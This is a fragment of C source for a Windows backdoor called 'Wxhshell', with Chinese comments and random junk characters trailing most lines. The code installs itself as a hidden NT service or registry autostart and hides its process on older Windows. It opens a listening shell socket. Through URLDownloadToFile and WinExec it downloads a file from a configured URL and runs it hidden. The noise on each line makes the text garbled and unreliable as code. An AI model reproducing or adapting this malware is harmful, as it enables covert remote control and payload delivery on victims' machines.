DWORD PebBaseAddress; 't0M+_J
DWORD AffinityMask; \IImxkE
DWORD BasePriority; .kn2M&P>=
ULONG UniqueProcessId; T<?kH
ULONG InheritedFromUniqueProcessId; f5FEHyj|
} PROCESS_BASIC_INFORMATION; ^2+Vt=*
LdN[N^n[H
PROCNTQSIP NtQueryInformationProcess; v$Hz)J.01
kLZVTVSJt
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UeLO `Ug0;
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &ah%^Z4um
*4}NLUVX
HANDLE hProcess; V-n{=8s
PROCESS_BASIC_INFORMATION pbi; V|$PO
Qa3
!*NDsC9
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `Hlf.>b1
if(NULL == hInst ) return 0; |%v:>XEO
d(d<@cB9
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C49\'1\6
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c {%mi
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tm^joK[{|J
fe98Y-e
if (!NtQueryInformationProcess) return 0; 3mo4;F,h9
MK)}zjw
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aaT3-][
if(!hProcess) return 0; ~$5XiY8A
(EY@{'.&
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aSX4~UYB=
n+ebi>}P
CloseHandle(hProcess); C1=&Vm>g+
8X"4RyNSn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cr{yy :D
if(hProcess==NULL) return 0; }3X/"2SW^
fJc(
HMODULE hMod; w.(W G+
char procName[255]; %bN{FKNN
unsigned long cbNeeded; A+* lV*@0
+u0of^}=
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D5@=#/?*
B?=R= p
CloseHandle(hProcess); 8^y=YUT
KYm8|]'g
if(strstr(procName,"services")) return 1; // 以服务启动 M=pQx$%a
A'z]?xQR
return 0; // 注册表启动 Kgr<OL}V J
} E4892B:`
1Ys=KA-!_x
// 主模块 M*gvYo
int StartWxhshell(LPSTR lpCmdLine) 04Zdg:[3-!
{ NeY*l
SOCKET wsl; y,x 2f%x
BOOL val=TRUE; =f!A o:Uc
int port=0; [#uhMn^
struct sockaddr_in door; ,5;M(ft#
+d\o|}c
if(wscfg.ws_autoins) Install(); )Y)_T&O
#RR;?`,L}
port=atoi(lpCmdLine); @e3+Gs
qP#LJPaS
if(port<=0) port=wscfg.ws_port; -@(LN%7!C
g:Qq%'
WSADATA data;
%lnkD5
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7gf(5p5ZV
giNXXjl
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -#f.}H'
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U?Jk
door.sin_family = AF_INET; ';FJs&=I
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1*hE bO
door.sin_port = htons(port); :VlA2Ih&q
IsI5c
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $lT8M-yK\
closesocket(wsl); -fA =&$V
return 1; q1:dcxR[
} UV D D)
Nq`;\E.M
if(listen(wsl,2) == INVALID_SOCKET) { xcW\U^1d
closesocket(wsl); n/1t UF
return 1; J"AR3b@,$?
} vEg%ivj3
Wxhshell(wsl); $~FZJ@qa
WSACleanup(); m*_X PY
Bp7p X
return 0; 59)w+AW
NuR7pjNMZ
} NRtH?&7
^>l <)$s
// 以NT服务方式启动 7o+L
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?3BcjD0
{ /";tkad^
DWORD status = 0; GoybkwFjZ
DWORD specificError = 0xfffffff; DW7E ]o
$}WT"K
serviceStatus.dwServiceType = SERVICE_WIN32; BQPmo1B
serviceStatus.dwCurrentState = SERVICE_START_PENDING; \bd KLcKI,
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c@[Trk m
serviceStatus.dwWin32ExitCode = 0; $4g{4-)
serviceStatus.dwServiceSpecificExitCode = 0; ^.LB(GZ,
serviceStatus.dwCheckPoint = 0; phu,&DS!
serviceStatus.dwWaitHint = 0; Jd7chIK
<CuUwv
'A
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ly`
A,dh
if (hServiceStatusHandle==0) return; bfA>kn0C
i,;JI>U
status = GetLastError(); y5eEEG6
if (status!=NO_ERROR) nIg 88*6b,
{ ]\^O(BzB
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;EJ!I+
serviceStatus.dwCheckPoint = 0; W_M#Gi/AL
serviceStatus.dwWaitHint = 0; ExtC\(X;
serviceStatus.dwWin32ExitCode = status; Z4/D38_
serviceStatus.dwServiceSpecificExitCode = specificError; i5TGK#3o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); M584dMM
return; ];w}?LFb
} r&8aB85
ZJ%NZAxy
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5c::U=
serviceStatus.dwCheckPoint = 0; X?t;uZI^
serviceStatus.dwWaitHint = 0; Zm0VaOT $I
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m'}`+#C%)
} 60%nQhb
OS#aYER~/
// 处理NT服务事件,比如:启动、停止 o_Zs0/
VOID WINAPI NTServiceHandler(DWORD fdwControl) x"q]~u<rB
{ D@&xj_#\}
switch(fdwControl) eXKEx4rU
{ Chnt)N`/B4
case SERVICE_CONTROL_STOP: F3(SbM-
serviceStatus.dwWin32ExitCode = 0; crv#IC2
serviceStatus.dwCurrentState = SERVICE_STOPPED; }iKjef#J
serviceStatus.dwCheckPoint = 0; 01o<eZ,
serviceStatus.dwWaitHint = 0; 8/>.g.]
{ 3=n6NTL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2!-Q!c`y
} +m./RlQ{
return; AwG0E`SU
case SERVICE_CONTROL_PAUSE: H8w[{'Mei
serviceStatus.dwCurrentState = SERVICE_PAUSED; P0m9($JBD
break; !Np7mv\7
case SERVICE_CONTROL_CONTINUE: lUjZ=3"'
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8gNTW7W/
break; PpFQoY7M
case SERVICE_CONTROL_INTERROGATE: Brxnl,%\
break; L[2N zwO
}; n`Z}tQ%)o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); RTlC]`IGT
} =aB+|E
z&H.fs L
// 标准应用程序主函数 aR3jeB,=x
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J\+fkN<.
{ 3A^AEO
bxYSZCo*
// 获取操作系统版本 CP\[9#]:
OsIsNt=GetOsVer(); _5S0A0
GetModuleFileName(NULL,ExeFile,MAX_PATH); uT=r*p(v
ahgP"Qz
// 从命令行安装 +i}H $.
if(strpbrk(lpCmdLine,"iI")) Install(); =KQIrS:
]R\L~Kr
// 下载执行文件 Vf:.C|Z
if(wscfg.ws_downexe) { $s=` {v v
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W3[>IH"+
WinExec(wscfg.ws_filenam,SW_HIDE); Q0"?TSY
} B~}BDnu 6
3(K.:376
if(!OsIsNt) { Ju#j%!
// 如果时win9x,隐藏进程并且设置为注册表启动 ZFMO;'m&
HideProc(); |e!Y
C iU
StartWxhshell(lpCmdLine); %|+aI?
} >y8>OJ?A7-
else rr,A Vw
if(StartFromService()) T\Xf0|y
// 以服务方式启动 tYTl-c
StartServiceCtrlDispatcher(DispatchTable); MPnMLUB$\
else ,k_ b-/
// 普通方式启动 +a,#BSt
StartWxhshell(lpCmdLine); KW'nW
qPz_PRje
return 0; J#H,QYnf(L
}